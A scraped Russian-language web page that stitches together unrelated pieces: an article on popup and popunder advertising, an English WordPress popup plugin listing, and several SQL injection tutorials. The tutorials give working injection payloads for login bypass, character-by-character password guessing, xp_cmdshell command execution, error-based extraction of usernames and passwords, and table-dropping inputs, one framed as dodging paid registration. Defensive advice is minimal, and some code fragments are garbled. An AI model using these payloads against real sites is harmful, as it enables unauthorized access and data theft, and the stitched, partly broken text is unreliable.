Сайт о телевидении

Сайт о телевидении

» » Элемент управления Login. Что такое SQL Injection

Элемент управления Login. Что такое SQL Injection

Есть в рекламном арсенале пара форматов рекламы, не взаимодействовать с которой пользователю просто невозможно. Это парочка — Попандер и Попап. Оба формата — всплывающие окна, сходные по методу их реализации и по принципу информирования пользователя. Их относят к агрессивной рекламе, что по сути, верно. Однако, если вы подружитесь с эти форматами, то сможете конвертить целевой трафик с минимальными затратами.

Итак, начнём с формата Popup. Думаю, вы сами испытывали на себе действие данного формата. Захотели, например, посмотреть любимый фильм, открываете сайт и тут раз – получаете всплывающее окно, которое закрывает всю площадку. В том окне отображается сайт рекламодателя.

Возможно это игра, возможно коллекция духов по бросовым ценам. Помните, вы такие хотели пару дней назад? Если нет, то всё равно они вам подойдут, ведь данное предложение рассчитано на широкую аудиторию. Вам придётся закрыть это окно, но, бывает, к кнопке закрытия привязан переход на сайт и фильм вы посмотрите только после его закрытия.

Формат попандер не такой агрессивный. Возможно что, зайдя на сайт, через некоторое время вы могли видеть блок, чаще всего по центру, который гонялся за вами по всему сайту, привлекая внимания и вынуждая его закрыть. Закрытие окна приведёт к тому, что в фоновом режиме откроется вкладка с сайтом рекламодателя и после вы таки с ним, скорее всего, ознакомитесь.

К примеру, вы увидите окно, где вам предложат обновить браузер или скачать новую игру. Если рекламодатель настроил аудиторию правильно, вас заинтересует данное предложение и вы с ним ознакомитесь.

Достоинства и недостатки форматов

Начнём с преимуществ. С помощью данных форматов вы сможете получить очень много трафика. Здесь действует определённое правило: количество просмотров равно количеству показов. Широкий охват аудитории, узнаваемость бренда, простор для аналитики – все эти преимущества вы получаете за счёт большого количества трафика.

Плюсом также является низкая стоимость клика. Благодаря этому можно начинать тесты даже с небольшим бюджетом и при этом получить приличные объёмы данных,а то и первые конверсии.

К недостаткам следует отнести возможное негативное восприятие форматов. Однако это спорный момент — правильно поданное рекламное предложение наоборот вызовет интерес и желание ознакомиться подробнее с товаром или услугой.

К сожалению, на этапе тестирования достаточно сложно контролировать целевую аудиторию, поэтому зачастую приходится работать с «холодным трафиком». Можно получить и ботов. Однако эта проблема решается с помощью чёрных списков.

Для вебмастеров также есть минус. Рекламу попандер и попап не любят поисковые системы. Они могу применить к площадке санкции и понизить её в выдаче. Однако на данный момент существуют продвинутые коды, которые значительно понижают риск получения санкций.

Области применения рекламных форматов

Начнём с формата Popup. Если вам нужен мгновенный контакт с посетителем, а ваш оффер рассчитан на максимально целевую аудиторию popup трафик станет хорошим решением. В иных случаях пользователь, пришедший на сайт с конкретной целью и получивший окно с нецелевым предложением, просто закроет страницу, не удосужившись даже просмотреть её содержание.

К примеру пользователь хочет купить кроссовки, набирает в поисковой строке соответствующий запрос попадает на сайт где его ждём попап, содержащий информацию о скидке на прошлую коллекцию. Данный предложение его заинтересует, и он перейдёт на сайт. Представьте, что тому же пользователю вы покажете средство для похудения, например. Он просто закроет окно и больше не вернётся на сайт.

Итак, первое правило попапа — выбирайте максимально целевую аудиторию или же оффер, который максимально может заинтересовать потенциального покупателя. Например, смежные области: кроссовки — витрина спортивного инвентаря или модных трендов в данном сезоне. Второе правило попапа — не забывайте о ретаргетинге. Это прекрасный способ повысить конверсию в разы.

Формат рекламы попандер показывается пользователю в тот момент, когда он уже собирается уходить. Он нашёл нужный ему продукт, и вдруг появляетесь вы. Каким должен быть рекламный оффер? Новинки, акции, развлекательные офферы, например гемблинг тематики, или софт — вот неполный список тематик, которые хорошо показывают себя в Popunder рекламе. Эффект можно значительно усилить если связать рекламное предложение с тематикой сайта.

Выводы

Итак, у нас есть два формата, способные принести вам большие объёмы трафика, получить отличную базу для аналитики и при этом не слить весь имеющийся бюджет. У этих есть некоторые недостатки, но преимущества их значительно перекрывают.

К недостаткам относится возможная негативная реакции со стороны пользователей, возможность получения ботов и «холодный трафик», который зачастую конвертировать сложно.

К достоинствам относится цена и большие объёмы трафика. Благодаря этому можно начинать тесты даже с небольшим бюджетом и при этом получить приличные объёмы данных,а то и первые конверсии.

На попандер рекламе хорошо конвертят развлекательные офферы, софт, новинки или товары широкого потребления. Попап же является отличным решением для работы с целевой сегментированной аудиторией. Нужно лишь найти максимально подходящий оффер или же задействовать смежные области.

Оба формата отлично подходят для сбора базы данных под ретаргетинг. Ретаргетинг повышает эффективность рекламы в разы. Не забывайте об этом.

Теперь у вас есть два надёжных инструмента, и вы знаете, как их применять. Осталось лишь запустить рекламные кампании и получить профит.

Create and add user friendly popup banners to your WordPress site. Add responsive popup alerts and popup triggers for promotions.

The WordPress popup banners plugin by CreativeMinds lets users customize and promote events, products and offers on a WordPress site. Users can add a responsive popup banner across the whole site or on specific pages and advertise upcoming specials in the middle or bottom of the page. The popup plugin features popup triggers, the ability to add multiple popups, image and shortcode popups, various popup displays, and management of popup placement.

This WordPress popup plugin is an excellent lead generation tool that can boost emails lists and creates highly converting popups. With the Pro Version, customize the look and timing of these popup banners and test the success of a campaign.

Демо плагина Basic Banner Plugin Features
  • Create Banner Campaigns
  • Customize popups with HTML and images
  • Display popup ad on center or footer of page
Benefits of Going Pro
  • AdDesigner: Create a custom banner look to match your site’s branding
  • Ad Statistics: Track banner clicks and impressions in an easy-to-use report
  • Restrict by Page/Post/URL: Choose which pages or posts your popup banner will appear on
  • Restrict by Period: Choose the start and end times for your popup ad campaign to run
  • Random banners Campaigns
  • Custom Effects – Define PopUp banner effects
  • Option to add delay – Define campaigns on specific dates
  • Option to setup display interval
  • Use image or html banners
  • Restrict banners to specific pages or posts
  • Trigger popup or fly-in on JS hover or click events
Plugin usage instructions
  • 1) Go to «Add New Campaign»
  • 2) Fill the «Title» of the campaign and «content» of one or many Advertisement Items
  • 3) Click «Add Advertisement Item» to dynamically add more items
  • 4) Check «Show on every page»
  • 5) Click «Save Changes»
  • 6) Go to any page of your website
  • 7) Watch the banner with Advertisement Item
  • 8) Close the banner clicking «X» icon
Keywords

pop-up, popup, campaign, campaigns, banner, ads, promotion, advertize, flyin, image, html, promotion, events, image banner, video banner, html banner

Присоединяйтесь к нам Suggested Plugins by CreativeMinds
  • CM Ad Changer — Manage, Track and Report Advertising Campaigns Across Sites. Can turn your Turn your WP into an Ad Server
  • CM Super ToolTip Glossary — Easily creates a Glossary, Encyclopaedia or Dictionary of your website’s terms and shows them as a tooltip in posts and pages when hovering. With many more powerful features.
  • CM Download Manager — Allows users to upload, manage, track and support documents or files in a download directory listing database for others to contribute, use and comment upon.
  • CM Answers Plugin — A fully-featured WordPress Questions & Answers Plugin that allows you to build multiple discussion forum systems Just like StackOverflow, Yahoo Answers and Quora, Now with MicroPayment and Anonymous posting support!.
  • CM MicroPayments — Adds the in-site support for your own «virtual currency». The purpose of this plugin is to allow in-site transactions without the necessity of processing the external payments each time (quicker & easier). Developers can use it as a platform to integrate with their own plugins.
  • CM Restrict Content — A full-featured, powerful membership solution and content restriction plugin for WordPress. Support access by role to content on your site.
  • CM OnBoarding — Superb Guidance tool which improves the online experience and
    the user satisfaction.
  • CM Booking Calendar — Customers can easily schedule appointments and pay for them directly through your website.
Скриншоты Установка
  • Upload cm-pop-up-banners-for-wordpress folder to the /wp-content/plugins/ directory
  • Активируйте плагин на странице «Плагины» в панели управления WordPress.
  • Отзывы Broken. No settings for frequency. thelastequis

    I searched high and low for a pop-up plugin that didn"t force me to use a template. When I came across this one, it seemed like a good fit. Unfortunately, the pop-up doesn"t display the background overlay and hovers half off the top of the screen. Completely unusable. Just to make it better, it offers no settings options for frequency of appearance, how long to delay, or any other standard settings like these. Disappointed.

    SQL Injection достаточно хорошая возможность для хакера получить
    доступ к серверу. И при небольшом усилии, он
    все-таки его получает 🙂

    Coder inside

    В наше время работа с базами данных поддерживается
    практически всеми языками программирования, к таким можно отнести BASIC, C++, Java, PERL, PHP, Assembler и даже JavaScript! А называются эти программы никак иначе как СУБД — системы управления базами данных. Зачастую базы данных применяются для решения финансовых задач,
    бухгалтерии, организации кадров, но свое применение они нашли и в Интернете.

    Базы данных часто используются для написания WEB-приложений. Их использование наиболее уместно для хранения пользовательских регистрационных данных, идентификаторов сессий, организации поиска, а также других задач требующих обработки большего
    количества данных. Для обращения к БД используются серверные технологии: PHP, PERL, ASP, и т.д. Именно тут и начинается самое интересное. Когда на сервере
    установлены все патчи, а брандмауэр блокирует все порты кроме 80-ого или когда требуется аутентификация для доступа к некоторым данным, для взлома хакер может использовать SQL Injection. Суть данной атаки заключается в использовании ошибки на стыке WEB технологий и SQL. Дело в том, что многие web страницы для обработки пользовательских данных, формируют специальный SQL запрос к БД. Неосторожное использование данной методики может привести к довольно интересным результатам…

    SQL Injection

    Для пояснения атаки представим себе, что ты зашел на сайт чтобы скачать одну очень важную тулзу и с ужасом замечаешь, что сделать это может только зарегистрированный пользователь, а регистрация, конечно же, стоит денег 🙂 Последние заработанные отдавать не хочется, а без программы никак! Самое время вспомнить о том как
    обращаться к базам данных SQL . Например, проверка логина и пароля, на PHP может иметь следующий вид:

    $result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" AND
    pass="$password"");
    $num_rows=mysql_num_rows($result);
    mysql_close($link);
    if ($num_rows!=0)
    {
    // AUTHENTICATION OK
    }
    else
    {
    // AUTHENTICATION ERROR
    }

    Я добавил два комментария, «AUTHENTICATION OK » — вместо него должен
    идти код, который исполнится в том случае, если пароль и логин верны. Другой «AUTHENTICATION ERROR » — место где будет описан код, исполняющийся в случае их неправильности. Если заполнить форму, то запрос получится похожим на «http://www.server.com?login=user&password=31337», где www.server.com имя
    сервера, к которому мы пытаемся подключиться. Мы нашли то что искали, а по сему снова вернемся к работе SQL . Итак, если вы для авторизации должны указать логин и пароль, то сформированный SQL запрос будет иметь следующий вид:

    SELECT * FROM users WHERE login="user" AND
    password="31337"

    Это значит примерно следующее: верни мне все записи из базы данных users у которых логин «user», а пароль «31337». Если существует такая запись, значит пользователь зарегистрирован, ну а если нет, то нет… Но при определенных обстоятельствах все можно исправить. Имеется ввиду ситуация, когда приложение не проверяет содержимое передаваемых данных или проверяет не полностью, на наличие SQL инструкций. В данном примере сверяются два поля login и password, но если в качестве пароля указать «31337′ AND email=’[email protected]»(без двойных кавычек), то запрос получится уже немного другим:

    SELECT * FROM users WHERE login="user" AND password="31337" AND
    email="[email protected]"

    И в случае существования поля email это условие также будет проверено. Если вспомнить основы булевой алгебры, то приходит в голову что кроме операции «и» существует и «или», а поскольку их использование поддерживается SQL, можно выше
    описанным способом добавить условие которое всегда возвращает истину. Для осуществления данного, необходимо в качестве логина указать «user’ OR 1=1—«, в таком случае запрос примет вид:

    SELECT * FROM users WHERE login="user" OR 1=1--" AND
    password="31337"

    Для начала следует знать, что «—» означает конец запроса, и все после «—»
    обрабатываться не будет! Получается, словно мы сделали запрос:

    SELECT * FROM users WHERE login="user" OR 1=1

    Как вы видите мы добавили условие «1=1», значит критерием проверки будет «если логин ‘user’ или 1=1», но ведь 1 всегда равно 1 (исключением может быть только арифметика Дани Шеповалова:)). Чтобы проверить наши подозрения
    забиваем в адресной строке «http://www.server.com?login=user or 1=1—&password=31337». Это приводит к тому, что не играет роли какой именно логин мы указали, а
    тем более пароль! И мы в матри… ой, в системе и можем спокойно качать то что нам необходимо.

    Но это все в теории. На практике нам неизвестно каким образом формируется запрос, какие данные передаются и в какой последовательности. Поэтому необходимо указывать «user’ OR 1=1—» для всех полей. Также следует проверить форму отправки на наличие скрытых полей. В HTML они описываются как «». Если таковые существуют, сохраните страницу и поменяйте значения данных полей. Значения содержащиеся в них часто забывают проверять на наличие SQL инструкций. Но чтобы все заработало следует в форме (тэг «FORM») для параметра «ACTION» указать полный путь к скрипту, что обрабатывает данный запрос.

    Но не всегда также известно как сформирован запрос,
    прошлый пример можно было сформировать и следующими способами:

    SELECT * FROM users WHERE (login="user" AND password="31337")
    SELECT * FROM users WHERE login="user" AND password="31337"
    SELECT * FROM users WHERE login=user AND password=31337

    В таком случае можно попробовать следующие варианты:

    ‘ OR 1=1—
    » OR 1=1—
    OR 1=1—
    ‘ OR ‘a’=’a
    » OR «a»=»a
    ‘) OR (‘a’=’a
    OR ‘1’=’1′

    Все зависит от предназначения скрипта, и от программиста. Поскольку каждому человеку свойственно все делать по своему, то вполне возможно, что программист выберет не самый простой вариант. Поэтому не следует сразу
    сдаваться, если вы получите отказ. Необходимо
    испробовать как можно большее количество вариантов…

    Password detection

    Обходить авторизацию неплохо, но очень часто дырка которую вы используете закрывается, и все что было для вас доступно теряется.
    Этого и следовало ожидать, если программист не дурак он
    со временем прикроет все лазейки. От таких ситуаций можно легко избавится заранее позаботившись об этом. Правильным решением может стать угадывание пароля посредством
    анализа результатов аутентификации. Для начала пробуем угадать пароль, для этого введем место него:

    ‘ OR password>’a

    Если нам ответят, что авторизация пройдена, значит пароль
    начинается не на букву «а», а на какую-то из следующих по списку. Двигаемся дальше и подставляем
    место "a", следующие «b», «c», «d», «e»… и т.д. пока нам не ответят, что пароль не правильный. Пускай этот процесс остановился на символе «x», в таком случае создаются два варианта развития ситуации, пароль найден или же пароль начитается на этот символ. Чтобы проверить первый вариант пишем место пароля:

    ‘ OR password=’x

    и если пароль принят и тебя впустили, значит ты угадал пароль! Ну а нет, тогда следует подбирать уже второй символ,
    точно так же, с начала. Для двух символов проверять
    нужно так же. В конце концов, ты получишь пароль, а логин ищешь тем самым путем 🙂
    В случае, если найденные пароль и логин тебя не устраивают, можешь отыскать и другие. Для этого необходимо начать проверку с последнего символа найденного пароля. Так, если пароль был «xxx» проверять необходимо существование пароля
    "xxy":

    ‘ OR password=’xxx

    чтобы не упустить не один вариант!

    MS SQL Server

    MS SQL Server вообще находка, если упущена необходимая фильтрация. Используя уязвимость SQL Injection можно исполнять
    команды на удаленном сервере с помощью exec master..xp_cmdshell. Но чтобы использовать эту конструкцию
    необходимо завершить операцию «SELECT». В SQL инструкции разделяются точкой с запятой. Поэтому подключится к некоторому IP по Telnet’у, необходимо место пароля/логина набрать:

    "; exec master..xp_cmdshell "telnet 192.168.0.1" --

    У MS SQL Server есть, еще несколько интересных особенностей, позволяющих узнать логины и пароли хранящиеся в базе данных. Для этого вывод об ошибках перенаправляется на произвольный сервер и посредствам их
    анализа можно узнать название таблицы, полей и их типов. После чего можно запросом

    ‘ UNION SELECT TOP 1 login FROM users—

    (login имя поля содержащего логин, а users — имя таблицы,
    полуученые в процессе анализа ошибок).

    Ответ может быть следующим:


    Syntax error converting the nvarchar value "admin" to a column of data type int.
    /default.asp, line 27

    Теперь мы знаем, что есть пользователь с именем «admin». Теперь мы можем получить его пароль:

    ‘ UNION SELECT TOP 1 password FROM users where login=’admin’—

    Результат:

    Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
    Syntax error converting the nvarchar value "xxx" to a column of data type int.
    /tedault.asp, line 27

    Теперь нам известно, что есть пользователь «admin» с паролем «xxx». Этим можно смело
    воспользоваться и залогинится в систему 😉

    Но для работы с SQL существует еще много других функций,
    при работе с базой данных можно также удалять данные, модифицировать, вставлять свои и даже манипулировать файлами и работать с реестром.
    В общем, SQL Server — рулит 🙂

    Защита

    Но этого всего естественно можно избежать. Для этого можно
    воспользоваться фильтрами,
    предоставляемыми производителями. Можно найти свои решения, например заменять все одинарные
    кавычки двойными (если для SQL запроса мы пользуетесь одинарными), или наоборот. Можно разрешить только использование букв и с@баки, в случае если требуется ввести
    электронный адрес. А еще в перле есть удивительная
    функция 🙂 quote() в модуле DBI::DBD, которая успешно делает ваш запрос безопасным по отношению к SQL . Решений много, необходимо просто ими
    воспользоваться. Иначе зачем тогда все это…

    Данная работа является переводом части работы Chris Anley Advanced SQL Injection In SQL Server Applications. ()
    В последующих статьях, при наличии свободного времени, данный перевод будет доведен до конца.

    P.S. Перевод будет интересен более в образовательных и исторических целях.

    Оригинальное название статьи: Продвинутые SQL-инъекции в приложениях, использующих язык SQL.

    Аннотация

    В данной статье подробно рассматриваются общие способы "SQL-инъекции", для известной платформы Microsoft Internet Information Server/Active Server Pages/SQL Server. В ней обсуждаются различные варианты использования инъекции SQL в приложениях и объясняются методы проверки данных, а также защита баз данных, в которых могут быть использованы инъекции.

    Введение

    Structured Query Language (SQL) - это структурированный язык, используемый для взаимодействия с базами данных. Существует множетсво "диалектов" языка SQL, но сегодня, в основном, все они построены на основе стандарта SQL-92, один из ранних ANSI стандартов. Основной операционный блок SQL - запрос (query), который является совокупностью выражений, которые обычно возвращают совокупность результатов (result set). SQL выражения могут изменять структуру баз данных (используя выражения языков определения данных - DLL) и управлять их содержанием (используя выражения языков манипулирования данными - DML). В данной работе, мы рассмотрим transact-SQL, использующийся в Microsoft SQL Server.

    SQL-инъекции возможны в том случае, когда злоумышленник может вставить свой SQL-код в запрос (query), для управления данными, которые отправляются в приложение.

    Обычное SQL выражение выглядит следующим образом:

    Select id, forename, surname from authors

    Это выражение берет "id", "forename" и "surname" из колонок таблицы "authors" и возвращает все строки в таблице. Выборка может быть ограниченна, определенным "автором", например:

    Select id, forename, surname from authors where forename = "john" and surname = "smith"

    Необходимо отметить, что в данном запросе строковые литералы разделены одинарной кавычкой. Предполагается, что "forename" и "surrname" являются данными, которые вводятся пользователем. В данном случае злоумышленник будет способен внести собственный SQL-запрос, путем добавления собственных значений в приложение. Например:

    Forename: jo"hn Surname: smith

    Тогда выражение примет следующий вид:

    Select id, forename, surname from authors where forename = "jo"hn" and surname = "smith"

    После того, как база данных попытается обработать подобный запрос будет возвращена следующая ошибка:

    Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near "hn".

    Причина ошибки будет заключаться в том, что введенная одиночная кавычка испортит структуру разделителей в запросе. Таким образом, база данных безуспешно попытается выполнить команду "hn", которая приведет к ошибке. В итоге, если злоумышленник введет в форму следующую информацию:

    Forename: jo"; drop table authors-- Surname:

    Таблица "authors" будет удалена, почему это произойдет мы рассмотрим позже.

    Вам может показаться, что если мы будем удалять одиночные кавычки из формы ввода, а также "заменять" их, это может решить нашу проблему. И вы будете правы, однако существуют некоторые проблемы с использованием этого способа, в качестве решения данной задачи. Во-первых, не вся вводимая пользователем информация является "строками" (strings). Если пользовательская форма будет содержать "id" автора, который обычно является числом. Например, наш запрос может выглядеть следующим образом:

    Select id, forename, surname from authors where id=1234

    В данном случае взломщик беспрепятственно сможет добавить любое SQL-выражение в после численных данных. В других разновидностях SQL-запросов, используются различные разграничители. Например, в Microsoft Jet DBMS разграничителем будет символ "#". Во-вторых, "избегание" ("escaping") одиночных кавычек вовсе не самый простой способ защиты, как это может показаться сперва. Подробнее об этом мы поговорим далее.

    Приведем пример на основе страницы входа на основе Active Server Pages (ASP), которая при помощи SQL получает доступ к базе данных, чтобы авторизовать пользователя в каком-либо приложении.

    Приведем код страницы, содержащей форму входа, в которую вводятся имя пользователя и пароль.

    Login Page Login

    Username:
    Password:

    Ниже код (process_login.asp), определяющий корректность введенных данных.

    p { font-size=20pt ! important} font { font-size=20pt ! important} h1 { font-size=64pt ! important} if (rso.EOF) { rso.close(); ACCESS DENIED } else{ %> 0) { Login(cn); } } cn.close(); Main(); %>

    Уязвимость здесь содержиться в "process_login.asp", который создает запрос следующего вида:

    Var sql = "select * from users where username = "" + username + "" and password = "" + password + """;

    Если пользователь введет:

    Username: "; drop table users-- Password:

    таблица "users" будет удалена, что закроет доступ к приложению для всех пользователей. Сочетание "--" в Transact-SQL определяет однострочный комментарий, а ";" обозначает конец одной строки и начало другой. Два последовательных тире в данном запросе используются с целью завершить запрос без ошибок.

    Более того, злоумышленник может зайти в систему под любым именем пользователя, используя следующую конструкцию:

    Username: admin"--

    А введя следующую информацию взломщик сможет зайти в систему в качестве выдуманного пользователя:

    Username: " union select 1, "fictional_user", "some_password", 1--

    Причиной работоспособности этого способа заключается в том, что приложение "поверит", что вернувшийся фиктивный результат является набором записей из базы данных.

    Получение информации, основываясь на сообщениях об ошибках

    Изобретателем этой методики является David Litchfield, исследователь в области испытаний на проникновение (с целью проверки системы защиты). Позже David написал работу на эту тему, на которую ссылались многие другие авторы. В его работе объясняется механизм, использования сообщений об ошибках - "error message" technique. В своем труде он полностью объясняет читателям данную методику, и дает дальнейший толчок в развитии собственного понимания данной проблемы.

    Для успешного управления данными, злоумышленник должен знать структуру баз и таблиц, к которым он хочет получить доступ. Например, таблица наших "users" создана при помощи следующей комманды:

    Create table users(id int, username varchar(255), password varchar(255), privs int)

    И содержит следующих пользователей:

    Insert into users values(0, "admin", "r00tr0x!", 0xffff) insert into users values(0, "guest", "guest", 0x0000) insert into users values(0, "chris", "password", 0x00ff) insert into users values(0, "fred", "sesame", 0x00ff)

    Предположим наш хакер хочет вставить собственную запись в таблицу. Вряд ли ему это удастся, если он не знает её структуры. Но даже если ему это и удастся, то значение поля "privs" так и останется непонятным. Взломщик может вставить значение "1", создав себе аккаунт с низкими привелегиями, в то время как ему необходим доступ на уровне администратора приложения.

    К счастью, для хакера стандартное поведение ASP на ошибки - отображение сообщений о них, с их помощью полностью определив структуру базы данных, а следовательно узнать значения всех полей из аккаунтов пользователей, которые занесены в базу приложения.

    (В следующем примере мы будем использовать предложенную выше базу данных, а также asp скрипт, чтобы показать эту методику в действии.)

    Во-первых, взломщик захочет установить имена таблиц, с которыми работают запросы, а также имена полей. Для достижения поставленной цели злоумышленник будет использовать конструкцию "having" в select выражения:

    Username: " having 1=1--

    Которое вызовет следующую ошибку:

    Microsoft OLE DB Provider for ODBC Drivers error "80040e14" Column "users.id" is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35

    Таким образом, зная имена таблиц и имя первой колонки в ней. Эту процедуру можно продолжать при помощи оператора "group by", как показано ниже:

    Username: " group by users.id having 1=1--

    (которое в свою очередь породит новую ошибку)

    Microsoft OLE DB Provider for ODBC Drivers error "80040e14" Column "users.username" is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. В итоге хакер придет следующей конструкции:
    " group by users.id, users.username, users.password, users.privs having 1=1--
    Которая не вызовет ошибки и будет эквивалентна:
    select * from users where username = ""
    Таким образом, злоумышленник узнает, что запрос затрагивает лишь таблицу "users", структура которой "id, username, password, privs" (именно в этом порядке). Полезной эта информация будте в том случае, если удастся узнать тип данных, который используется в каждой из колонок. Информацию о типе данных можно получить, используя "преобразование типов", например:
    Username: " union select sum(username) from users--
    Смысл функции summ() заключается в том, что SQL server пытается выполнить ее до того как определит является ли значение численным или символьным. Попытка вычислить "сумму" текстового поля приведет к следующей ошибке:
    Microsoft OLE DB Provider for ODBC Drivers error "80040e07" The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35
    Которое сообщает нам, что тип данных в поле "username" - varchar. С другой стороны, если мы попытаемся вычислить sum() численного типа, то получим сообщение уведомляющее, что число символов в наборе двух текстовых строк не совпадает:
    Username: " union select sum(id) from users-- Microsoft OLE DB Provider for ODBC Drivers error "80040e14" All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /process_login.asp, line 35
    Мы можем использовать подобную технику для определения типа данных практически любой колонки, любой табилцы, находящейся в базе данных. Что в свою очередь поможет злоумышленнику сформировать хорошо составленный "insert" запрос, например:
    Username: "; insert into users values(666, "attacker", "foobar", 0xffff)--
    Однако, для возможности алгоритма на этом не заканчиваются. Хакер может получить полезную информацию из ошибок об окружении или самой базе данных. Список стандартных ошибок можно добыть используя конструкцию:
    select * from master..sysmessages
    Выполнив этот запрос можно получить много занимательной информации. Особенно полезными являются сведения о конвертации типов. Если вы попытаетесь сконвертировать string в integer, вернется сообщение, содержащее в себе весь контент string. В нашем примере, преобразование "username" вернет версию SQL server"а, а также версию операционной системы.
    Username: " union select @@version,1,1,1-- Microsoft OLE DB Provider for ODBC Drivers error "80040e07" Syntax error converting the nvarchar value "Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) " to a column of data type int. /process_login.asp, line 35
    В приведенном примере мы попытаемся преобразовать встроенную константу "@@version" в целочисленное значение, так как первая колонка в таблице "users" имеет это тип данных. Метод может быть использован для чтения любого значения в любой таблице в базе данных. Таким образом, если злоумышленник захочет узнать имена пользователей и пароли, то скорее всего для чтения данных он воспользуется следующей конструкцией:
    Username: " union select min(username),1,1,1 from users where username > "a"--
    При выборе пользователя, "username" которого больше чем "а" приведет к попытке преобразования типов к целочисленному значению:
    Microsoft OLE DB Provider for ODBC Drivers error "80040e07" Syntax error converting the varchar value "admin" to a column of data type int. /process_login.asp, line 35
    Таким образом, мы получим список пользователей, после чего сможем перейти к получению паролей:
    Username: " union select password,1,1,1 from users where username = "admin"-- Microsoft OLE DB Provider for ODBC Drivers error "80040e07" Syntax error converting the varchar value "r00tr0x!" to a column of data type int. /process_login.asp, line 35
    Более изящный способ - выделить все имена пользователей и пароли в одной выборке, а затем попытаться преобразовать их к целочисленному значению. Необходимо отметить, что выражения Transact-SQL могут быть собраны вмсте в одну строку не изменяя своего значения - рассмотрим следующий пример:
    begin declare @ret varchar(8000) set @ret=":" select @ret=@ret+" "+username+"/"+password from users where username>@ret select @ret as ret into foo end
    Очевидно, что злоумышленник "зайдет" с эти именем пользователя:
    Username: "; begin declare @ret varchar(8000) set @ret=":" select @ret=@ret+" "+username+"/"+password from users where username>@ret select @ret as ret into foo end--
    Этот запрос создаст таблицу foo, которая будет содержать единственную колонку "ret", в которой будут находиться все наши строки. Зачастую даже пользователь с низкими привелегиями имеет возможность создать таблицу в базе данных, или даже временную базу данных. Взломщик, таким образом, может выбрать все строки из этой таблицы, так же как и в предыдущем примере:
    Username: " union select ret,1,1,1 from foo-- Microsoft OLE DB Provider for ODBC Drivers error "80040e07" Syntax error converting the varchar value ": admin/r00tr0x! guest/guest chris/password fred/sesame" to a column of data type int. /process_login.asp, line 35
    А после заметет следы, удалив таблицу:
    Username: "; drop table foo--
    Вышеперечисленные примеры показывают нам всю гибкость, предлагаемую данным алгоритмом. Нет необходимости говорить, что если злоумышленнику удается вызвать ошибку при обращении к базе данных, то их работа в разы упрощается. /process_login.asp, line 35

    Эта статья не содержит никаких новых истин, SQL injection широко описан и повсеместно используется. Статья больше предназначена для новичков, но, быть может, и профессионалы смогут найти одну-две новые уловки.

    Эта статья предназначена для того, чтобы помочь новичкам справиться с проблемами, с которыми они могут столкнуться при использовании техники SQL Injection, успешно использовать ее и уметь защитить себя от подобных нападений.

    Введение

    Когда у интересующего сервера открыт только 80 порт, и сканер уязвимостей не может сообщить ничего интересного, и вы знаете, что системный администратор всегда очень оперативно устанавливает все заплаты на web-сервер, последним нашим шансом остается web-взлом. SQL injection - один из типов web-взлома, которые используют только 80 порт, и может сработать, даже при своевременно установленных заплатах. Это нападение более направлено на web-приложения (типа ASP, JSP, PHP, CGI, и т.д), чем непосредственно на web-сервер или сервисы в ОС.

    Эта статья не содержит никаких новых истин, SQL injection широко описан и повсеместно используется. Статья больше предназначена для новичков, но, быть может, и профессионалы смогут найти одну-две новые уловки. Также рекомендую просмотреть приведенные в конце статьи ссылки для получения более подробной информации от специалистов в данной области.

    1.1 Что такое SQL Injection?

    SQL Injection - метод, предназначенный для введения SQL запросов/команд через web-страницы. Многие web-страницы используют параметры, представленные Web пользователям, и делают SQL запрос базы данных. Возьмем для примера случай с логином пользователя, когда имеется web-страница c именем и паролем и производится SQL запрос в базе данных, для осуществления проверки, имеется ли зарегистрированный пользователь с таким именем и паролем. С использованием SQL Injection можно послать придуманное имя пользователя и/или поле пароля, изменяющее SQL запрос, что может предоставить нам кое-что интересное.

    2.0 Что мы должны искать

    Попробуйте найти страницы, которые запрашивают у вас данные, например страница поиска, обсуждений, и т.д. Иногда html страницы используют метод POST, чтобы послать команды другой Web странице. В этом случае вы не увидите параметры в URL. Однако в этом случае вы можете искать тэг "FORM" в исходном коде HTML страниц. Вы найдете, что-то типа такого:



    Все параметры между и потенциально могут быть уязвимы к введению SQL кода.

    2.1 Что если вы не нашли страницу, которая использует ввод?

    Поищите страницы, подобно ASP, JSP, CGI, или PHP Web страницам. Попробуйте найти страницы, которые используют параметры, подобно:

    3.0. Как мне проверить что то, что я нашел, уязвимо?

    Попробуйте начать с одиночной кавычки. Введите следующую строку:

    hi" or 1=1--

    в поле имя пользователя или пароль, или даже в URL параметре. Пример:

    Login: hi" or 1=1--
    Pass: hi" or 1=1--
    http://duck/index.asp?id=hi" or 1=1--

    Если вы делали это со скрытым полем, только загрузите исходный HTML, сохраните его на жестком диске, измените URL и скрытое поле соответственно. Пример: